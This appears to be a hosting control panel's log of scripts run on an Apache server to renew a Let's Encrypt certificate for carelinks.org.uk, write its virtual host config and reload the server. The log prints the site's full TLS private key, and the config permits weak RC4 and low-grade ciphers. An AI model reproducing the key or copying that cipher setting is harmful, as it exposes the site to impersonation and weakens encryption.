MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-09 11:49:12: Establishing a connection
2026-05-09 11:49:12: Establishing a connection
2026-05-09 11:49:12: 

PUT: /tmp/pkp482545

#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-09 11:49:13: 

chmod 755 /tmp/pkp482545; /tmp/pkp482545; rm /tmp/pkp482545

2026-05-09 11:49:13: 


1


2026-05-09 11:49:14: Establishing a connection
2026-05-09 11:49:14: 

PUT: /tmp/pkp397891

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > bfhzRSDjYYqQeCMWHVTK4v-K1tHwja6NMTEtMvJe9gw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
bfhzRSDjYYqQeCMWHVTK4v-K1tHwja6NMTEtMvJe9gw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 bfhzRSDjYYqQeCMWHVTK4v-K1tHwja6NMTEtMvJe9gw
cat > 4SVeSNMiN06nmAzfPNwIZvHraFhMA3GpzF8qF7rL-ZA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4SVeSNMiN06nmAzfPNwIZvHraFhMA3GpzF8qF7rL-ZA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4SVeSNMiN06nmAzfPNwIZvHraFhMA3GpzF8qF7rL-ZA


2026-05-09 11:49:14: 

chmod 755 /tmp/pkp397891; /tmp/pkp397891; rm /tmp/pkp397891

2026-05-09 11:49:14: 




2026-05-09 11:49:26: Establishing a connection
2026-05-09 11:49:26: 

PUT: /tmp/pkp774924

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm bfhzRSDjYYqQeCMWHVTK4v-K1tHwja6NMTEtMvJe9gw
rm 4SVeSNMiN06nmAzfPNwIZvHraFhMA3GpzF8qF7rL-ZA


2026-05-09 11:49:26: 

chmod 755 /tmp/pkp774924; /tmp/pkp774924; rm /tmp/pkp774924

2026-05-09 11:49:26: 




2026-05-09 11:49:26: Establishing a connection
2026-05-09 11:49:26: 

PUT: /tmp/pkp129818

#!/bin/bash
temp_file=$(mktemp)
TARGET=86cfc05b70ff27e9bd43265985e9e664.crt

cat > $temp_file <<'endmsg'
4e:3e:37:91:7d:9a:06:02:c3:36:41:cb:70:f3:8d:de

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBZHwZzwuRkBnvmui1Kjx8OUJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTA5MTA1MDU0WhcNMjYwODA3MTA1MDUzWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAnvejxJjqBpZrf77UZqvHj8gt6SN70zLQPx4VSGq/vZP1Z90YzJCZsildX+jo
OZuBJzQWa1AuqqJTbxJ5R70SAjMnhoQWnYi4dRdQ1BSdqTug4C67UP/KQNN4lvtG
SpWvRgG/ojH7UzBS6tShjjX+CMMmFQQEOUQm10yu9fGlgmPNp43tLZr3zDhusB5X
JqdxSxWO301+4MaMavTUoeZjZj9bk3UXFmya3uhBu0tAi4Ac/OcdAVuVzufcGKCn
wgIUgMMhtOxemTQckEGp3SsiRRq34JnOn96WX8dZFzORDr3Viirfm3GnGxqhyDSA
KwmtVFA1O+i4V1h+Q93EW4VzcQIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFPzy
b5xrFYhenbHafQIwZvwCiIfYMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wMQYDVR0RBCowKIIQY2FyZWxpbmtzLm9yZy51a4IUd3d3LmNhcmVs
aW5rcy5vcmcudWswEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMC5jcmwwggELBgorBgEEAdZ5AgQC
BIH8BIH5APcAdQDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ4M
kiQKAAAEAwBGMEQCIGPYSyF0p1gHJn8Jzy3ig5QKdy5RXKG0eU6gTTe1EI3QAiAF
f78Z0VxEwdc2yn+sNlP/7ZGaDKy6fHdjqIvyufNB2AB+AKgmy+MKxjUSRlM/4GXx
TxnZbhkIE8Qd2W15ALMSPFUnAAABngySJ3kACAAABQAKLrftBAMARzBFAiEAtfXw
ncui2C5CLCxdI4Uu1VWE56/TKmOmnqwzxrhT0PwCIEK/o8gZ404P2gX3ZUR2ntaT
uWf/Mh/w1AwsAPBiafqLMA0GCSqGSIb3DQEBCwUAA4IBAQBfj811mmK9GJvxd1tf
0pElb8Rsvcf2cBq6CwXQ73edUECpqAMMcZqDd7Ap3havHLBlRe6PoskA0h8V6eEo
z9bm7MPjKA6OIc8qU203hcimFQkryE2qDaj+2vhl8BBvDQcFXjpr2Y2Nbb0Q8GNs
MxdS1pUPbK+7xyIN9fBLjrtPz0AUm69lJAD1N5KEequ06F+nCWhagZtNDV2hqK9E
2HkEvkIUveVzYYC6ORZZ4ht2sYnvxNKTplrcD+nBIzxTaBJJQ08UP3R46XSrt+i6
f/BJ8APpi6yeHqFFmmGp18Rg9IG879w/hRp7cRHD2UuowzfcomQkxKKYvU1voIOc
X8Yq
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCe96PEmOoGlmt/
vtRmq8ePyC3pI3vTMtA/HhVIar+9k/Vn3RjMkJmyKV1f6Og5m4EnNBZrUC6qolNv
EnlHvRICMyeGhBadiLh1F1DUFJ2pO6DgLrtQ/8pA03iW+0ZKla9GAb+iMftTMFLq
1KGONf4IwyYVBAQ5RCbXTK718aWCY82nje0tmvfMOG6wHlcmp3FLFY7fTX7gxoxq
9NSh5mNmP1uTdRcWbJre6EG7S0CLgBz85x0BW5XO59wYoKfCAhSAwyG07F6ZNByQ
QandKyJFGrfgmc6f3pZfx1kXM5EOvdWKKt+bcacbGqHINIArCa1UUDU76LhXWH5D
3cRbhXNxAgMBAAECggEAB7Nh3tB0h8iqIPhW1Dluk6fEF5blNPQxc9lKeSVYr/+W
pAcpICHCHEgWMqL2+vFuRn6mtmCePhxac9c+gkvlry8Ys1K7QLriiqOMQhXUlGHj
13BUGSam/tBvt0qpW0wYf0ju5lXLAbrlzWPrBpdVfMmtUtfMt5R2WDgqApaH6MLG
0fvLBlrGMmzLRPoL5/cHAWvbi/l8f5Ju0kWpdKYOAbu0t1p6HQPfd8H0Fm50COXS
GfRZgIEw1OBhll6x2/2vadn2JQfDK6y2QeiiWBicegyOKG1SG8VfdZDCrbBfEbJo
iGCHhc5t5vFWaRTLvwArqjqzqjC7TcbxuEVkLJK2gQKBgQDbyR16XJK23Ll1RtSQ
oA/ZP624UiJ0l14yxcdDNFvSBckrCLvcOv+W3RAiOkU8MIQgeGRcS4FGuCsU9C7E
27mmb8uqC0/gR0zBxv2OiFT/KDhDY0mvpOKt8eJrPBq2EE1qgqvISAm/XP5zDT+S
T1Maf7CVPLjHKSM1UGzFCc2rkQKBgQC5KR6U9D8FjQ9bpQ3z7EzOYJvfCCLByj/w
mZZ/cO1a3RaJ9nVL6Y73A6UNbjthe26SE2HL1GslF5Ei7S+vhO5jGMc/TGc8tQ40
5ceaqFvtUMV9a+CJp6C1u/PeE0vq7ykOfw4MEfQIxgNmEtBA6OyQ++d11S8i3zR1
bLWaYriZ4QKBgEUDkvkQRpWbG7VCx46eZDugrkkZqW4Y9eBVkGt+7nI1lOSpemv+
LrHNuro0t/bdeS/E/iapIu/09ro+rszr/hDQPBCqOqu/V8/lT0tJbf8tPvWSINpB
mVhrguCPYAfZeKXAYHakgEMRzWiNOXAU7pB8lhNWnOMU/NRJ6823dVixAoGBAJEz
JrFGbBltSerjH3L2DjEU34bh+Wegs814k+VyaB+GGsOrysXx7NPWPtuuYtCKG+Zf
XqSZ+j/HIGCUQX3Rr6N0beM8hgS8MtzWiFXGyvfqDETTkOxB0KxTLOUsmq8sRzT/
+8MJXSZ4KXglLryIK+NyN0tXFzSwdpHS4wKjggHhAoGBAJ1ghQ48jiXucft/ug1d
8LB52z6s13S4KewsyyDV3323dBa1TUkLEj5gR3lPE36fxULEo1UmaTl21OnXrw54
mm5BABd1uHJI04lRS0pI+OIpPm8DsSNv0Rr0YcftnxhWQ2IYzQyT+Wv/68kPRJzQ
UP1XemVKnKNSoASmtYye3Z4T
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-09 11:49:26: 

chmod 755 /tmp/pkp129818; /tmp/pkp129818; rm /tmp/pkp129818

2026-05-09 11:49:26: 


dir=/etc/ssl/certs


2026-05-09 11:49:26: 

PUT: /tmp/pkp980970

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks_www_org-uk.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-09 11:49:26: 

chmod 755 /tmp/pkp980970; /tmp/pkp980970; rm /tmp/pkp980970

2026-05-09 11:49:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf 44

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-09 11:49:26: 

PUT: /tmp/pkp851950

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_org-uk.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_org-uk.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_org-uk.conf= 1'
fi


2026-05-09 11:49:26: 

chmod 755 /tmp/pkp851950; /tmp/pkp851950; rm /tmp/pkp851950

2026-05-09 11:49:26: 




2026-05-09 11:49:26: 

PUT: /tmp/pkp944708

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-09 11:49:26: 

chmod 755 /tmp/pkp944708; /tmp/pkp944708; rm /tmp/pkp944708

2026-05-09 11:49:27: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-09 11:49:27: Establishing a connection
2026-05-09 11:49:27: 

PUT: /tmp/pkp713508

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-09 11:49:27: 

chmod 755 /tmp/pkp713508; /tmp/pkp713508; rm /tmp/pkp713508

2026-05-09 11:49:27: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-09 11:49:27: 

PUT: /tmp/pkp988819

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


